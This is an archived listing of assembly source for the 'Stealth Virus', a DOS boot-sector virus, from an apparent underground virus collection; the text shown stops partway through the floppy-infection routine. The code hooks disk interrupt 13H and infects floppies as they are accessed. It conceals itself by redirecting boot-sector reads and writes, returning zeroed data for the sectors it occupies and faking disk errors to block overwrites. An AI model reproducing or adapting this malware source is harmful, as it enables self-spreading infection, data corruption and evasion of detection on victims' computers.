home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / s / stealth.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  54.3 KB  |  1,219 lines

  1. ;The Stealth Virus is a boot sector virus which remains resident in memory
  2.  
  3. ;after boot so it can infect disks. It hides itself on the disk and includes
  4.  
  5. ;special anti-detection interrupt traps so that it is very difficult to
  6.  
  7. ;locate. This is a very infective and crafty virus.
  8.  
  9.  
  10.  
  11. COMSEG  SEGMENT PARA
  12.  
  13.         ASSUME  CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG
  14.  
  15.  
  16.  
  17.         ORG     100H
  18.  
  19.  
  20.  
  21. START:
  22.  
  23.         jmp     BOOT_START
  24.  
  25.  
  26.  
  27. ;*******************************************************************************
  28.  
  29. ;* BIOS DATA AREA                                                              *
  30.  
  31. ;*******************************************************************************
  32.  
  33.  
  34.  
  35.         ORG     413H
  36.  
  37.  
  38.  
  39. MEMSIZE DW      640                     ;size of memory installed, in KB
  40.  
  41.  
  42.  
  43. ;*******************************************************************************
  44.  
  45. ;* VIRUS CODE STARTS HERE                                                      *
  46.  
  47. ;*******************************************************************************
  48.  
  49.  
  50.  
  51.         ORG     7000H
  52.  
  53.  
  54.  
  55. STEALTH:                                ;A label for the beginning of the virus
  56.  
  57.  
  58.  
  59.  
  60.  
  61. ;*******************************************************************************
  62.  
  63. ;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)
  64.  
  65. ;for every sector on the track. This is put at the very start of the virus so
  66.  
  67. ;that when sectors are formatted, we will not run into a DMA boundary, which
  68.  
  69. ;would cause the format to fail. This is a false error, but one that happens
  70.  
  71. ;with some BIOS's, so we avoid it by putting this data first.
  72.  
  73. FMT_12M:        ;Format data for Track 80, Head 1 on a 1.2 Meg diskette,
  74.  
  75.         DB      80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2
  76.  
  77.  
  78.  
  79. FMT_360:        ;Format data for Track  40, Head 1 on a 360K diskette
  80.  
  81.         DB      40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2
  82.  
  83.  
  84.  
  85.  
  86.  
  87. ;*******************************************************************************
  88.  
  89. ;* INTERRUPT 13H HANDLER                                                       *
  90.  
  91. ;*******************************************************************************
  92.  
  93.  
  94.  
  95. OLD_13H DD      ?                       ;Old interrupt 13H vector goes here
  96.  
  97.  
  98.  
  99. INT_13H:
  100.  
  101.         sti
  102.  
  103.         cmp     ah,2                    ;we want to intercept reads
  104.  
  105.         jz      READ_FUNCTION
  106.  
  107.         cmp     ah,3                    ;and writes to all disks
  108.  
  109.         jz      WRITE_FUNCTION
  110.  
  111. I13R:   jmp     DWORD PTR cs:[OLD_13H]
  112.  
  113.  
  114.  
  115.  
  116.  
  117. ;*******************************************************************************
  118.  
  119. ;This section of code handles all attempts to access the Disk BIOS Function 2,
  120.  
  121. ;(Read). It checks for several key situations where it must jump into action.
  122.  
  123. ;they are:
  124.  
  125. ;       1) If an attempt is made to read the boot sector, it must be processed
  126.  
  127. ;          through READ_BOOT, so an infected boot sector is never seen. Instead,
  128.  
  129. ;          the original boot sector is read.
  130.  
  131. ;       2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
  132.  
  133. ;          drive C are read, they are processed by READ_HARD, so the virus
  134.  
  135. ;          code is never seen on the hard drive.
  136.  
  137. ;       3) If an attempt is made to read Track 1, Head 0, Sector 1 on the
  138.  
  139. ;          floppy, this routine checks to see if the floppy has already been
  140.  
  141. ;          infected, and if not, it goes ahead and infects it.
  142.  
  143.  
  144.  
  145. READ_FUNCTION:                                  ;Disk Read Function Handler
  146.  
  147.         cmp     dh,0                            ;is it head 0?
  148.  
  149.         jnz     I13R                            ;nope, let BIOS handle it
  150.  
  151.         cmp     ch,1                            ;is it track 1?
  152.  
  153.         jz      RF0                             ;yes, go do special processing
  154.  
  155.         cmp     ch,0                            ;is it track 0?
  156.  
  157.         jnz     I13R                            ;no, let BIOS handle it
  158.  
  159.         cmp     cl,1                            ;track 0, is it sector 1
  160.  
  161.         jz      READ_BOOT                       ;yes, go handle boot sector read
  162.  
  163.         cmp     dl,80H                          ;no, is it hard drive c:?
  164.  
  165.         jz      RF1                             ;yes, go check further
  166.  
  167.         jmp     I13R                            ;else let BIOS handle it
  168.  
  169.  
  170.  
  171. RF0:    cmp     dl,80H                          ;is it hard disk?
  172.  
  173.         jnc     I13R                            ;yes, let BIOS handle read
  174.  
  175.         cmp     cl,1                            ;no, floppy, is it sector 1?
  176.  
  177.         jnz     I13R                            ;no, let BIOS handle it
  178.  
  179.         call    CHECK_DISK                      ;is floppy already infected?
  180.  
  181.         jz      I13R                            ;yes so let BIOS handle it
  182.  
  183.         call    INFECT_FLOPPY                   ;no, go infect the diskette
  184.  
  185.         jmp     SHORT I13R                      ;and then let BIOS do the read
  186.  
  187.  
  188.  
  189. RF1:    cmp     cl,8                            ;sector < 8?
  190.  
  191.         jnc     I13R                            ;nope, let BIOS handle it
  192.  
  193.         jmp     READ_HARD                       ;yes, divert read on the C drive
  194.  
  195.  
  196.  
  197.  
  198.  
  199. ;*******************************************************************************
  200.  
  201. ;This section of code handles all attempts to access the Disk BIOS Function 3,
  202.  
  203. ;(Write). It checks for two key situations where it must jump into action. They
  204.  
  205. ;are:
  206.  
  207. ;       1) If an attempt is made to write the boot sector, it must be processed
  208.  
  209. ;          through WRITE_BOOT, so an infected boot sector is never overwritten.
  210.  
  211. ;          instead, the write is redirected to where the original boot sector is
  212.  
  213. ;          hidden.
  214.  
  215. ;       2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
  216.  
  217. ;          drive C are written, they are processed by WRITE_HARD, so the virus
  218.  
  219. ;          code is never overwritten.
  220.  
  221.  
  222.  
  223. WRITE_FUNCTION:                                 ;BIOS Disk Write Function
  224.  
  225.         cmp     dh,0                            ;is it head 0?
  226.  
  227.         jnz     I13R                            ;nope, let BIOS handle it
  228.  
  229.         cmp     ch,0                            ;is it track 0?
  230.  
  231.         jnz     I13R                            ;nope, let BIOS handle it
  232.  
  233.         cmp     cl,1                            ;is it sector 1
  234.  
  235.         jnz     WF1                             ;nope, check for hard drive
  236.  
  237.         jmp     WRITE_BOOT                      ;yes, go handle boot sector read
  238.  
  239. WF1:    cmp     dl,80H                          ;is it the hard drive c: ?
  240.  
  241.         jnz     I13R                            ;no, another hard drive
  242.  
  243.         cmp     cl,8                            ;sector < 8?
  244.  
  245.         jnc     I13R                            ;nope, let BIOS handle it
  246.  
  247.         jmp     WRITE_HARD                      ;else take care of writing to C:
  248.  
  249.  
  250.  
  251.  
  252.  
  253. ;*******************************************************************************
  254.  
  255. ;This section of code handles reading the boot sector. There are three
  256.  
  257. ;possibilities: 1) The disk is not infected, in which case the read should be
  258.  
  259. ;passed directly to BIOS, 2) The disk is infected and only one sector is
  260.  
  261. ;requested, in which case this routine figures out where the original boot
  262.  
  263. ;sector is and reads it, and 3) The disk is infected and more than one sector
  264.  
  265. ;is requested, in which case this routine breaks the read up into two calls to
  266.  
  267. ;the ROM BIOS, one to fetch the original boot sector, and another to fetch the
  268.  
  269. ;additional sectors being read. One of the complexities in this last case is
  270.  
  271. ;that the routine must return the registers set up as if only one read had
  272.  
  273. ;been performed.
  274.  
  275. ;  To determine if the disk is infected, the routine reads the real boot sector
  276.  
  277. ;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then
  278.  
  279. ;this routine goes to get the original boot sector, etc., otherwise it calls ROM
  280.  
  281. ;BIOS and allows a second read to take place to get the boot sector into the
  282.  
  283. ;requested buffer at es:bx.
  284.  
  285.  
  286.  
  287. READ_BOOT:
  288.  
  289.         push    ax                              ;save registers
  290.  
  291.         push    bx
  292.  
  293.         push    cx
  294.  
  295.         push    dx
  296.  
  297.         push    ds
  298.  
  299.         push    es
  300.  
  301.         push    bp
  302.  
  303.  
  304.  
  305.         push    cs                              ;set ds=es=cs
  306.  
  307.         pop     es
  308.  
  309.         push    cs
  310.  
  311.         pop     ds
  312.  
  313.         mov     bp,sp                           ;and bp=sp
  314.  
  315.  
  316.  
  317. RB001:  mov     al,dl
  318.  
  319.         call    GET_BOOT_SEC                    ;read the real boot sector
  320.  
  321.         jnc     RB01                            ;ok, go on
  322.  
  323.         call    GET_BOOT_SEC                    ;do it again to make sure
  324.  
  325.         jnc     RB01                            ;ok, go on
  326.  
  327.         jmp     RB_GOON                         ;error, let BIOS return err code
  328.  
  329. RB01:   call    IS_VBS                          ;is it the viral boot sector?
  330.  
  331.         jz      RB02                            ;yes, jump
  332.  
  333.         jmp     RB_GOON                         ;no, let ROM BIOS read sector
  334.  
  335. RB02:;  mov     bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)    
  336.  
  337.     mov    bx,OFFSET SB_DR_FLAG        ;required instead of ^ for a86
  338.  
  339.  
  340.  
  341.         mov     al,BYTE PTR [bx]                ;get disk type of disk being
  342.  
  343.         cmp     al,80H                          ;read, and make an index of it
  344.  
  345.         jnz     RB1
  346.  
  347.         mov     al,4
  348.  
  349. RB1:    mov     bl,3                            ;to look up location of boot sec
  350.  
  351.         mul     bl
  352.  
  353.         add     ax,OFFSET BOOT_SECTOR_LOCATION  ;ax=@BOOT_SECTOR_LOCATION table
  354.  
  355.         mov     bx,ax
  356.  
  357.         mov     ch,[bx]                         ;get track of orig boot sector
  358.  
  359.         mov     dh,[bx+1]                       ;get head of orig boot sector
  360.  
  361.         mov     cl,[bx+2]                       ;get sector of orig boot sector
  362.  
  363.         mov     dl,ss:[bp+6]                    ;get drive from original spec
  364.  
  365.         mov     bx,ss:[bp+10]                   ;get read buffer offset
  366.  
  367.         mov     ax,ss:[bp+2]                    ;and segment
  368.  
  369.         mov     es,ax                           ;from original specification
  370.  
  371.         mov     ax,201H                         ;prepare to read 1 sector
  372.  
  373.         pushf
  374.  
  375.         call    DWORD PTR [OLD_13H]             ;do BIOS int 13H
  376.  
  377.         mov     al,ss:[bp+12]                   ;see if original request
  378.  
  379.         cmp     al,1                            ;was for more than one sector
  380.  
  381.         jz      RB_EXIT                         ;no, go exit
  382.  
  383.  
  384.  
  385. READ_1NEXT:                                     ;more than 1 sec requested, so
  386.  
  387.         pop     bp                              ;read the rest as a second call
  388.  
  389.         pop     es                              ;to BIOS
  390.  
  391.         pop     ds
  392.  
  393.         pop     dx                              ;first restore these registers
  394.  
  395.         pop     cx
  396.  
  397.         pop     bx
  398.  
  399.         pop     ax
  400.  
  401.  
  402.  
  403.         add     bx,512                          ;prepare to call BIOS for
  404.  
  405.         push    ax                              ;balance of read
  406.  
  407.         dec     al                              ;get registers straight for it
  408.  
  409.         inc     cl
  410.  
  411.  
  412.  
  413.         cmp     dl,80H                          ;is it the hard drive?
  414.  
  415.         jnz     RB15                            ;nope, go handle floppy
  416.  
  417.  
  418.  
  419.         push    bx                              ;handle an infected hard drive
  420.  
  421.         push    cx                              ;by faking read on extra sectors
  422.  
  423.         push    dx                              ;and returning a block of 0's
  424.  
  425.         push    si
  426.  
  427.         push    di
  428.  
  429.         push    ds
  430.  
  431.         push    bp
  432.  
  433.  
  434.  
  435.         push    es
  436.  
  437.         pop     ds                              ;ds=es
  438.  
  439.  
  440.  
  441.         mov     BYTE PTR [bx],0                 ;set first byte in buffer = 0
  442.  
  443.         mov     si,bx
  444.  
  445.         mov     di,bx
  446.  
  447.         inc     di
  448.  
  449.         mov     ah,0                            ;ax=number of sectors to read
  450.  
  451.         mov     bx,512                          ;bytes per sector
  452.  
  453.         mul     bx                              ;# of bytes to read in dx:ax<64K
  454.  
  455.         mov     cx,ax
  456.  
  457.         dec     cx                              ;number of bytes to move in cx
  458.  
  459.         rep     movsb                           ;fill buffer with 0's
  460.  
  461.  
  462.  
  463.         clc                                     ;clear c, fake read successful
  464.  
  465.         pushf                                   ;then restore everyting properly
  466.  
  467.         pop     ax                              ;first set flag register
  468.  
  469.         mov     ss:[bp+20],ax                   ;as stored on the stack
  470.  
  471.         pop     bp                              ;and pop all registers
  472.  
  473.         pop     ds
  474.  
  475.         pop     di
  476.  
  477.         pop     si
  478.  
  479.         pop     dx
  480.  
  481.         pop     cx
  482.  
  483.         pop     bx
  484.  
  485.         pop     ax
  486.  
  487.         mov     ah,0
  488.  
  489.         dec     cl
  490.  
  491.         sub     bx,512
  492.  
  493.         iret                                    ;and get out
  494.  
  495.  
  496.  
  497. RB15:                                           ;read next sectors on floppy
  498.  
  499.         pushf                                   ;call BIOS to
  500.  
  501.         call    DWORD PTR cs:[OLD_13H]          ;read the rest (must use cs)
  502.  
  503.         push    ax
  504.  
  505.         push    bp
  506.  
  507.         mov     bp,sp
  508.  
  509.         pushf                                   ;use c flag from BIOS call
  510.  
  511.         pop     ax                              ;to set c flag on the stack
  512.  
  513.         mov     ss:[bp+10],ax
  514.  
  515.         jc      RB2                             ;if error, return ah from 2nd rd
  516.  
  517.         sub     bx,512                          ;else restore registers so
  518.  
  519.         dec     cl                              ;it looks as if only one read
  520.  
  521.         pop     bp                              ;was performed
  522.  
  523.         pop     ax
  524.  
  525.         pop     ax                              ;and exit with ah=0 to indicate
  526.  
  527.         mov     ah,0                            ;successful read
  528.  
  529.         iret
  530.  
  531.  
  532.  
  533. RB2:    pop     bp                              ;error on 2nd read
  534.  
  535.         pop     ax                              ;so clean up stack
  536.  
  537.         add     sp,2                            ;and get out
  538.  
  539.         iret
  540.  
  541.  
  542.  
  543. RB_EXIT:                                        ;exit from single sector read
  544.  
  545.         mov     ax,ss:[bp+18]                   ;set the c flag on the stack
  546.  
  547.         push    ax                              ;to indicate successful read
  548.  
  549.         popf
  550.  
  551.         clc
  552.  
  553.         pushf
  554.  
  555.         pop     ax
  556.  
  557.         mov     ss:[bp+18],ax
  558.  
  559.         pop     bp                              ;restore all registers
  560.  
  561.         pop     es
  562.  
  563.         pop     ds
  564.  
  565.         pop     dx
  566.  
  567.         pop     cx
  568.  
  569.         pop     bx
  570.  
  571.         pop     ax
  572.  
  573.         mov     ah,0
  574.  
  575.         iret                                    ;and get out
  576.  
  577.  
  578.  
  579. RB_GOON:                                        ;This passes control to BIOS
  580.  
  581.         pop     bp                              ;for uninfected disks
  582.  
  583.         pop     es                              ;just restore all registers to
  584.  
  585.         pop     ds                              ;their original values
  586.  
  587.         pop     dx
  588.  
  589.         pop     cx
  590.  
  591.         pop     bx
  592.  
  593.         pop     ax
  594.  
  595.         jmp     I13R                            ;and go jump to BIOS
  596.  
  597.  
  598.  
  599.  
  600.  
  601. ;*******************************************************************************
  602.  
  603. ;This table identifies where the original boot sector is located for each
  604.  
  605. ;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect
  606.  
  607. ;boot sector reads and writes.
  608.  
  609.  
  610.  
  611. BOOT_SECTOR_LOCATION:
  612.  
  613.         DB      40,1,6                          ;Track, head, sector, 360K drive
  614.  
  615.         DB      80,1,6                          ;1.2M drive
  616.  
  617.         DB      79,1,9                          ;720K drive
  618.  
  619.         DB      79,1,18                         ;1.44M drive
  620.  
  621.         DB      0,0,7                           ;Hard drive
  622.  
  623.  
  624.  
  625.  
  626.  
  627. ;*******************************************************************************
  628.  
  629. ;This routine handles writing the boot sector for all disks. It checks to see
  630.  
  631. ;if the disk has been infected, and if not, allows BIOS to handle the write.
  632.  
  633. ;If the disk is infected, this routine redirects the write to put the boot
  634.  
  635. ;sector being written in the reserved area for the original boot sector. It
  636.  
  637. ;must also handle the writing of multiple sectors properly, just as READ_BOOT
  638.  
  639. ;did.
  640.  
  641.  
  642.  
  643. WRITE_BOOT:
  644.  
  645.         push    ax                              ;save everything we might change
  646.  
  647.         push    bx
  648.  
  649.         push    cx
  650.  
  651.         push    dx
  652.  
  653.         push    ds
  654.  
  655.         push    es
  656.  
  657.         push    bp
  658.  
  659.         mov     bp,sp
  660.  
  661.  
  662.  
  663.         push    cs                              ;ds=es=cs
  664.  
  665.         pop     ds
  666.  
  667.         push    cs
  668.  
  669.         pop     es
  670.  
  671.  
  672.  
  673.         mov     al,dl
  674.  
  675.         call    GET_BOOT_SEC                    ;read the real boot sector
  676.  
  677.         jnc     WB01
  678.  
  679.         call    GET_BOOT_SEC                    ;do it again if first failed
  680.  
  681.         jnc     WB01
  682.  
  683.         jmp     WB_GOON                         ;error on read, let BIOS take it
  684.  
  685. WB01:   call    IS_VBS                          ;else, is disk infected?
  686.  
  687.         jz      WB02                            ;yes
  688.  
  689.         jmp     WB_GOON                         ;no, let ROM BIOS write sector
  690.  
  691. WB02:;  mov     bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
  692.  
  693.     mov    bx,OFFSET SB_DR_FLAG        ;required instead of ^ for a86
  694.  
  695.  
  696.  
  697.         mov     al,BYTE PTR [bx]
  698.  
  699.         cmp     al,80H                          ;infected, so redirect the write
  700.  
  701.         jnz     WB1
  702.  
  703.         mov     al,4                            ;make an index of the drive type
  704.  
  705. WB1:    mov     bl,3
  706.  
  707.         mul     bl
  708.  
  709.         add     ax,OFFSET BOOT_SECTOR_LOCATION  ;ax=@table entry
  710.  
  711.         mov     bx,ax
  712.  
  713.         mov     ch,[bx]                         ;get the location of original
  714.  
  715.         mov     dh,[bx+1]                       ;boot sector on disk
  716.  
  717.         mov     cl,[bx+2]                       ;prepare for the write
  718.  
  719.         mov     dl,ss:[bp+6]
  720.  
  721.         mov     bx,ss:[bp+10]
  722.  
  723.         mov     ax,ss:[bp+2]
  724.  
  725.         mov     es,ax
  726.  
  727.         mov     ax,301H
  728.  
  729.         pushf
  730.  
  731.         call    DWORD PTR [OLD_13H]             ;and do it
  732.  
  733.         sti
  734.  
  735.         mov     dl,ss:[bp+6]
  736.  
  737.         cmp     dl,80H                          ;was write going to hard drive?
  738.  
  739.         jnz     WB_15                           ;no
  740.  
  741.         mov     BYTE PTR [DR_FLAG],80H          ;yes, update partition info
  742.  
  743.         push    si
  744.  
  745.         push    di
  746.  
  747.         mov     di,OFFSET PART                  ;just move it from sec we just
  748.  
  749.         mov     si,ss:[bp+10]                   ;wrote into the viral boot sec
  750.  
  751.         add     si,OFFSET PART 
  752.  
  753.     sub    si,OFFSET BOOT_START
  754.  
  755.         push    es
  756.  
  757.         pop     ds
  758.  
  759.         push    cs
  760.  
  761.         pop     es                              ;switch ds and es around
  762.  
  763.         mov     cx,20
  764.  
  765.         rep     movsw                           ;and do the move
  766.  
  767.         push    cs
  768.  
  769.         pop     ds
  770.  
  771.         mov     ax,301H
  772.  
  773.         mov     bx,OFFSET BOOT_START
  774.  
  775.         mov     cx,1                            ;Track 0, Sector 1
  776.  
  777.         mov     dx,80H                          ;drive 80H, Head 0
  778.  
  779.         pushf                                   ;go write updated viral boot sec
  780.  
  781.         call    DWORD PTR [OLD_13H]             ;with new partition info
  782.  
  783.         pop     di                              ;clean up
  784.  
  785.         pop     si
  786.  
  787.  
  788.  
  789. WB_15:  mov     al,ss:[bp+12]
  790.  
  791.         cmp     al,1                            ;was write more than 1 sector?
  792.  
  793.         jz      WB_EXIT                         ;if not, then exit
  794.  
  795.  
  796.  
  797. WRITE_1NEXT:                                    ;more than 1 sector
  798.  
  799.         mov     dl,ss:[bp+6]                    ;see if it's the hard drive
  800.  
  801.         cmp     dl,80H
  802.  
  803.         jz      WB_EXIT                         ;if so, ignore rest of the write
  804.  
  805.         pop     bp                              ;floppy drive, go write the rest
  806.  
  807.         pop     es                              ;as a second call to BIOS
  808.  
  809.         pop     ds
  810.  
  811.         pop     dx
  812.  
  813.         pop     cx                              ;restore all registers
  814.  
  815.         pop     bx
  816.  
  817.         pop     ax
  818.  
  819.         add     bx,512                          ;and modify a few to
  820.  
  821.         push    ax                              ;drop writing the first sector
  822.  
  823.         dec     al
  824.  
  825.         inc     cl
  826.  
  827.         pushf
  828.  
  829.         call    DWORD PTR cs:[OLD_13H]          ;go write the rest
  830.  
  831.         sti
  832.  
  833.         push    ax
  834.  
  835.         push    bp
  836.  
  837.         mov     bp,sp
  838.  
  839.         pushf                                   ;use c flag from call
  840.  
  841.         pop     ax                              ;to set c flag on the stack
  842.  
  843.         mov     ss:[bp+10],ax
  844.  
  845.         jc      WB2                             ;an error
  846.  
  847.                                                 ;so exit with ah from 2nd int 13
  848.  
  849.         sub     bx,512
  850.  
  851.         dec     cl
  852.  
  853.         pop     bp
  854.  
  855.         pop     ax
  856.  
  857.         pop     ax                              ;else exit with ah=0
  858.  
  859.         mov     ah,0                            ;to indicate success
  860.  
  861.         iret
  862.  
  863.  
  864.  
  865. WB2:    pop     bp                              ;exit with ah from 2nd
  866.  
  867.         pop     ax                              ;interrupt
  868.  
  869.         add     sp,2
  870.  
  871.         iret
  872.  
  873.  
  874.  
  875.  
  876.  
  877. WB_EXIT:                                        ;exit after 1st write
  878.  
  879.         mov     ax,ss:[bp+18]                   ;set carry on stack to indicate
  880.  
  881.         push    ax                              ;a successful write operation
  882.  
  883.         popf
  884.  
  885.         clc
  886.  
  887.         pushf
  888.  
  889.         pop     ax
  890.  
  891.         mov     ss:[bp+18],ax
  892.  
  893.         pop     bp                              ;restore all registers and exit
  894.  
  895.         pop     es
  896.  
  897.         pop     ds
  898.  
  899.         pop     dx
  900.  
  901.         pop     cx
  902.  
  903.         pop     bx
  904.  
  905.         pop     ax
  906.  
  907.         mov     ah,0
  908.  
  909.         iret
  910.  
  911.  
  912.  
  913. WB_GOON:                                        ;pass control to ROM BIOS
  914.  
  915.         pop     bp                              ;just restore all registers
  916.  
  917.         pop     es
  918.  
  919.         pop     ds
  920.  
  921.         pop     dx
  922.  
  923.         pop     cx
  924.  
  925.         pop     bx
  926.  
  927.         pop     ax
  928.  
  929.         jmp     I13R                            ;and go do it
  930.  
  931.  
  932.  
  933.  
  934.  
  935. ;*******************************************************************************
  936.  
  937. ;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,
  938.  
  939. ;then instead of reading the true data there, return a block of 0's, since
  940.  
  941. ;0 is the data stored in a freshly formatted but unused sector. This will
  942.  
  943. ;fake the caller out and keep him from knowing that the virus is hiding there.
  944.  
  945. ;If the disk is not infected, return the true data stored in those sectors.
  946.  
  947.  
  948.  
  949. READ_HARD:
  950.  
  951.         call    CHECK_DISK                      ;see if disk is infected
  952.  
  953.         jnz     RWH_EX                          ;no, let BIOS handle the read
  954.  
  955.         push    ax                              ;else save registers
  956.  
  957.         push    bx
  958.  
  959.         push    cx
  960.  
  961.         push    dx
  962.  
  963.         push    si
  964.  
  965.         push    di
  966.  
  967.         push    ds
  968.  
  969.         push    bp
  970.  
  971.         mov     bp,sp
  972.  
  973.         mov     BYTE PTR es:[bx],0              ;zero the first byte in the blk
  974.  
  975.         push    es
  976.  
  977.         pop     ds
  978.  
  979.         mov     si,bx                           ;set up es:di and ds:si
  980.  
  981.         mov     di,bx                           ;for a transfer
  982.  
  983.         inc     di
  984.  
  985.         mov     ah,0                            ;ax=number of sectors to read
  986.  
  987.         mov     bx,512                          ;bytes per sector
  988.  
  989.         mul     bx                              ;number of bytes to read in ax
  990.  
  991.         mov     cx,ax
  992.  
  993.         dec     cx                              ;number of bytes to move
  994.  
  995.         rep     movsb                           ;do fake read of all 0's
  996.  
  997.  
  998.  
  999.         mov     ax,ss:[bp+20]                   ;now set c flag
  1000.  
  1001.         push    ax                              ;to indicate succesful read
  1002.  
  1003.         popf
  1004.  
  1005.         clc
  1006.  
  1007.         pushf
  1008.  
  1009.         pop     ax
  1010.  
  1011.         mov     ss:[bp+20],ax
  1012.  
  1013.  
  1014.  
  1015.         pop     bp                              ;restore everything and exit
  1016.  
  1017.         pop     ds
  1018.  
  1019.         pop     di
  1020.  
  1021.         pop     si
  1022.  
  1023.         pop     dx
  1024.  
  1025.         pop     cx
  1026.  
  1027.         pop     bx
  1028.  
  1029.         pop     ax
  1030.  
  1031.         mov     ah,0                            ;set to indicate successful read
  1032.  
  1033.         iret
  1034.  
  1035.  
  1036.  
  1037. RWH_EX: jmp     I13R                            ;pass control to BIOS
  1038.  
  1039.  
  1040.  
  1041.  
  1042.  
  1043. ;*******************************************************************************
  1044.  
  1045. ;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if
  1046.  
  1047. ;the disk is infected. Instead, fake the return of an error by setting carry
  1048.  
  1049. ;and returning ah=4 (sector not found).
  1050.  
  1051.  
  1052.  
  1053. WRITE_HARD:
  1054.  
  1055.         call    CHECK_DISK                      ;see if the disk is infected
  1056.  
  1057.         jnz     RWH_EX                          ;no, let BIOS handle it all
  1058.  
  1059.         push    bp                              ;yes, infected, so . . .
  1060.  
  1061.         push    ax
  1062.  
  1063.         mov     bp,sp
  1064.  
  1065.         mov     ax,ss:[bp+8]                    ;get flags off of stack
  1066.  
  1067.         push    ax
  1068.  
  1069.         popf                                    ;put them in current flags
  1070.  
  1071.         stc                                     ;set the carry flag
  1072.  
  1073.         pushf
  1074.  
  1075.         pop     ax
  1076.  
  1077.         mov     ss:[bp+8],ax                    ;and put flags back on stack
  1078.  
  1079.         pop     ax
  1080.  
  1081.         mov     ah,4                            ;set up sector not found error
  1082.  
  1083.         pop     bp
  1084.  
  1085.         iret                                    ;and get out of ISR
  1086.  
  1087.  
  1088.  
  1089.  
  1090.  
  1091. ;*******************************************************************************
  1092.  
  1093. ;See if disk dl is infected already. If so, return with Z set. This
  1094.  
  1095. ;does not assume that registers have been saved, and saves/restores everything
  1096.  
  1097. ;but the flags.
  1098.  
  1099.  
  1100.  
  1101. CHECK_DISK:
  1102.  
  1103.         push    ax                              ;save everything
  1104.  
  1105.         push    bx
  1106.  
  1107.         push    cx
  1108.  
  1109.         push    dx
  1110.  
  1111.         push    ds
  1112.  
  1113.         push    es
  1114.  
  1115.         push    cs
  1116.  
  1117.         pop     ds
  1118.  
  1119.         push    cs
  1120.  
  1121.         pop     es
  1122.  
  1123.         mov     al,dl
  1124.  
  1125.         call    GET_BOOT_SEC                    ;read the boot sector
  1126.  
  1127.         jnc     CD1
  1128.  
  1129.         xor     al,al                           ;act as if infected
  1130.  
  1131.         jmp     SHORT CD2                       ;in the event of an error
  1132.  
  1133. CD1:    call    IS_VBS                          ;see if viral boot sec (set z)
  1134.  
  1135. CD2:    pop     es                              ;restore everything
  1136.  
  1137.         pop     ds                              ;except the z flag
  1138.  
  1139.         pop     dx
  1140.  
  1141.         pop     cx
  1142.  
  1143.         pop     bx
  1144.  
  1145.         pop     ax
  1146.  
  1147.         ret
  1148.  
  1149.  
  1150.  
  1151.  
  1152.  
  1153. ;*******************************************************************************
  1154.  
  1155. ;This routine determines from the boot sector parameters what kind of floppy
  1156.  
  1157. ;disk is in the drive being accessed, and calls the proper infection routine
  1158.  
  1159. ;to infect the drive. It has no safeguards to prevent infecting an already
  1160.  
  1161. ;infected disk. the routine CHECK_DISK must be called first to make sure you
  1162.  
  1163. ;want to infect before you go and do it. This restores all registers to their
  1164.  
  1165. ;initial state.
  1166.  
  1167.  
  1168.  
  1169. INFECT_FLOPPY:
  1170.  
  1171.         pushf                                   ;save everything
  1172.  
  1173.         push    si
  1174.  
  1175.         push    di
  1176.  
  1177.         push    ax
  1178.  
  1179.         push    bx
  1180.  
  1181.         push    cx
  1182.  
  1183.         push    dx
  1184.  
  1185.         push    ds
  1186.  
  1187.         push    es
  1188.  
  1189.         push    cs
  1190.  
  1191.         pop     es
  1192.  
  1193.         push    cs
  1194.  
  1195.         pop     ds
  1196.  
  1197.         sti
  1198.  
  1199.         mov     bx,OFFSET SCRATCHBUF + 13H      ;@ of sec cnt in boot sector
  1200.  
  1201.         mov     bx,[bx]                         ;get sector count for this disk
  1202.  
  1203.         mov     al,dl
  1204.  
  1205.         cmp     bx,720                          ;is it 360K? (720 sectors)
  1206.  
  1207.         jnz     IF_1                            ;no, try another possibility
  1208.  
  1209.         call    INFECT_360K                     ;yes, infect it
  1210.  
  1211.         jmp     SHORT IF_R                      ;and get out
  1212.  
  1213. IF_1:   cmp     bx,2400                         ;is it 1.2M? (2400 sectors)
  1214.  
  1215.         jnz     IF_2                            ;no, try another possibility
  1216.  
  1217.         call    INFECT_12M                      ;yes, infect it
  1218.  
  1219.         jmp     SHORT IF_R                      ;and get out
  1220.  
  1221. IF_2:   cmp     bx,1440                         ;is it 720K 3 1/2"? (1440 secs)
  1222.  
  1223.         jnz     IF_3                            ;no, try another possibility
  1224.  
  1225.         call    INFECT_720K                     ;yes, infect it
  1226.  
  1227.         jmp     SHORT IF_R                      ;and get out
  1228.  
  1229. IF_3:   cmp     bx,2880                         ;is it 1.44M 3 1/2"? (2880 secs)
  1230.  
  1231.         jnz     IF_R                            ;no - don't infect this disk
  1232.  
  1233.         call    INFECT_144M                     ;yes - infect it
  1234.  
  1235. IF_R:   pop     es                              ;restore everyting and return
  1236.  
  1237.         pop     ds
  1238.  
  1239.         pop     dx
  1240.  
  1241.         pop     cx
  1242.  
  1243.         pop     bx
  1244.  
  1245.         pop     ax
  1246.  
  1247.         pop     di
  1248.  
  1249.         pop     si
  1250.  
  1251.         popf
  1252.  
  1253.         ret
  1254.  
  1255.  
  1256.  
  1257.  
  1258.  
  1259. ;*******************************************************************************
  1260.  
  1261. ;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,
  1262.  
  1263. ;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus
  1264.  
  1265. ;code in sectors 1 through 5, and then replacing the boot sector on the disk
  1266.  
  1267. ;with the viral boot sector.
  1268.  
  1269.  
  1270.  
  1271. INFECT_360K:
  1272.  
  1273.         call    FORMAT_360                      ;format the required sectors
  1274.  
  1275.         jc      INF360_EXIT
  1276.  
  1277.  
  1278.  
  1279.         mov     bx,OFFSET SCRATCHBUF            ;and go write current boot sec
  1280.  
